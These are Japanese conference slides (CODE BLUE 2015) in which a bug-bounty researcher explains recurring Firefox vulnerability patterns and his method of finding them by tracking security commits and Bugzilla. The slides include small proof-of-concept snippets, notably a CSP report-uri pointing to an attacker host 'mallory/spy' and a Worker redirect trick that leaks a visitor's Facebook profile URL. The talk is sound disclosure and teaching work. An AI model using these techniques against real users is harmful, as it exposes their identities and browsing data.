脆弱性を早期に発見するため、脆弱性報奨金制度（バグ・バウンティ・プログラム）を導入する企業が増えている。私はこれまでにFirefoxブラウザの脆弱性を報告し、開発元のMozilla Foundationから4万5000ドル（540万円）の報奨金を獲得している。Firefoxの脆弱性にはある共通の傾向がある。しかしそれらはFirefoxの開発者にも周知されておらず、新たな機能が実装される都度、類似の脆弱性が繰り返し作り込まれている。本セッションでは、私が発見した脆弱性を基に、Firefoxで頻出する脆弱性のパターンを紹介し、それらが作り込まれる原因を述べる。また、私がFirefoxのバグを効率的に探すために実践している手法も併せて紹介する。この手法はFirefoxに限らず、オープンソースのソフトウェア特有の問題点に基づくものである。

1. Firefoxの倒し方
CODE BLUE 2015
“Foxkeh" (C) 2006 Mozilla Japan

2. 61,500ドル (約740万円)
Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740
Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078
Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556
Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520
Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956
Bug 1106713 Bug 1160069 Bug 1192595
私の1年間の実績

3. Firefoxの倒し方
本日のテーマ
• Firefoxには、共通する脆弱性のパターンがある
• 開発者にも周知されておらず、新しい機能が追加される度、
同じような脆弱性が作り込まれている
“Foxkeh" (C) 2006 Mozilla Japan

4. Firefoxの倒し方
• パターンを覚えれば、効率的に脆弱性を発見できる
• CODE BLUEの参加費も報奨金で回収できる
“Foxkeh" (C) 2006 Mozilla Japan
本日のテーマ

5. 仕様の実装漏れ
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 1/3

6. • IETFやW3Cなどの標準化団体が仕様を策定
仕様書は誰でもダウンロードできる
• 仕様書には、機能の実装要件が記載されている
ブラウザにその機能を実装することで生じるセキュリティリスクや
その対処方法も記載されている
ブラウザの機能とその仕様

7. • 仕様に書かれている要件がたまに実装されていない
コミット時のレビューやテストが足りていない
• 仕様書に沿ってテストを書けば脆弱性を発見できる
120万円くらいはこの方法で獲得
Firefoxにおける仕様の実装漏れ

8. Fetch APIにおける
リクエストヘッダ制限の実装漏れ
実例
Bug 1162411

9. Fetch APIとは
• HTTPによる非同期通信を行うことのできるAPI
ざっくり言えば、XMLHttpRequestを改良したもの
HTTPリクエスト
fetch('http://example.jp/')
HTTPレスポンス
http://example.jp/

10. Fetch APIの使用例
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})

11. Fetch APIに課せられた仕様上の制限
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
TRACEなどは指定禁止
HostやCookieなどは指定禁止
GETやHEADメソッドのときは指定禁止
Set-Cookieなどは指定禁止

12. Firefoxに存在した実装漏れ
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
任意のリクエストヘッダを指定できた

13. DEMO

14. HTTPリダイレクトの
実装不備
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 2/3

15. HTTPリダイレクトとは
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
HTTPリダイレクト

16. HTTPリダイレクトの落とし穴 (1/2)
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
Response
HTTPリダイレクト
リクエストに指定されたオリジンと…
最終的に応答を返すオリジンは
異なる場合がある

17. Service Workers (SW)における
キャッシュデータのオリジン誤り
実例
Bug 1164397

18. DEMO

19. http://example.jp/
Service Workers (SW)とは
• ページのバックグラウンド処理を担うワーカー
ページで発生した通信を仲介し、キャッシュなどを制御
SWPage
Cache

20. Firefoxに存在したオリジン誤り
SWPage
(mallory)
Cache
mallory
facebook
mallory/resource mallory/resource
Redirection
facebook のレスポンスを
malloryのデータとして
キャッシュしてしまう

21. HTTPリダイレクトの落とし穴 (2/2)
• リダイレクト後のURLには機微な情報が含まれうる
リダイレクト先のサイトにログインしているユーザの名前など
• リダイレクト後のURLは他のオリジンから参照禁止
エラーメッセージなどにリダイレクト後のURLが含まれてはならない

22. (例) Facebook
https://www.facebook.com/profile.php
301 Moved Permanently

23. (例) Windows Azure
https://manage.windowsazure.com
302 Found

24. CVE-2014-1487 by Masato Kinugawa
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
他のサイトをワーカースクリプト
として読み込む

25. window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
CVE-2014-1487 by Masato Kinugawa

26. 閲覧者のFacebookプロフィールを特定可能

27. CSP違反レポートにおける
他のサイトのURL漏洩
実例
Bug 1069762 (CVE-2014-1591)

28. 以下のページをユーザに開かせると
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">

29. 以下のデータが攻撃者に送信される
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">

30. http://www.w3.org/TR/2012/CR-CSP-20121115/

31. CSPの仕様書にも書いてあるのに！

32. Network(Necko)との一貫性に
起因する問題
“Foxkeh" (C) 2006 Mozilla Japan
脆弱性のパターン 3/3

33. Firefoxのアーキテクチャ
Thanks to Makoto Kato (Mozilla Japan)
https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY
ネットワーク通信モジュール
DOM操作および各APIの実装

34. セキュリティ検証の典型的な例
Page
DOM / Web API
Network
(Necko)
通信要求
オリジンの検証 サーバの検証

35. セキュリティ検証の典型的な例
Page
DOM / Web API
Network
(Necko)
通信要求
オリジンの検証 サーバの検証
これら2つの性質の違いにより
脆弱性が発生する

36. 日和見暗号(OE)による
SSLサーバ証明書検証のバイパス
実例
Bug 1148328 (CVE-2015-0799)

37. 日和見暗号(OE)
• http: の通信内容を暗号化
国家による大規模な盗聴(Pervasive Surveillance)の対策。
http/2の拡張仕様として議論中
• サーバ認証せずにTLSで暗号化
無効な証明書によるTLSでも平文で通信するよりは安全。
https: で接続する際は、従来どおりサーバ認証する

38. DEMO

39. 証明書検証回避のシーケンス
twitter(偽)
http://mallory
http://twitterでOE開始を要求
mallory
証明書検証なしでTLS接続(OE)
Session Ticket発行
https://twitter Session Ticketを使ってTLS接続要求
接続確立(セッション再開)

40. 脆弱性発生のメカニズム
Page
DOM / Web API
Network
(Necko)
http:とhttps:は
異なるオリジン
OEとhttps:は
TLSの実装を共有
http://twitter と https://twitter の
Session Ticket は分ける必要がある

41. “Foxkeh" (C) 2006 Mozilla Japan
脆弱性の見つけ方

42. 脆弱性のパターンを継続的に試す
• 新しく搭載された機能で過去の脆弱性が再発
Firefoxは6週間ごとにメジャーバージョンアップ。
過去の経緯を知らないコミッターが類似の脆弱性を作り込む
• 過去の脆弱性と新しい機能に関する情報を収集
過去の脆弱性をパターン化し、新しく搭載された機能で試験する

43. 情報収集するには
• セキュリティアドバイザリ (過去の脆弱性情報)
https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/
• Firefox 開発者向けリリースノート (新機能の情報)
https://developer.mozilla.org/en-US/Firefox/Releases

44. さらに情報収集するには
• Firefoxのコミットログ
http://hg.mozilla.org/mozilla-central/shortlog
• Bugzilla
https://bugzilla.mozilla.org/

45. コミットログを用いた脆弱性探し
アクセスできなければ
(恐らく)脆弱性の修正

46. Bugzillaを用いた脆弱性探し
• Mozillaセキュリティチームの行動を追跡
脆弱性の情報はセキュリティチームが管理している

47. 非公開フラグが
外された！
報奨金を獲得した
バグがある！

48. “Foxkeh" (C) 2006 Mozilla Japan
さいごに

49. Mozillaの脆弱性対応の特徴
• 対応が早い
深刻度が高ければ約1か月、低くても2~3か月で修正される
深刻な影響を及ぼす場合は緊急アップデートが配信される
• 透明性が高い
修正されるまでの過程をBugzillaで閲覧できる
深刻度を判断した根拠をきちんと説明してくれる
既知のバグの報告者には当該のバグのアクセス権が付与される

50. Thanks!
Mozilla Security Team &
Mozilla Japan Guys
“Foxkeh" (C) 2006 Mozilla Japan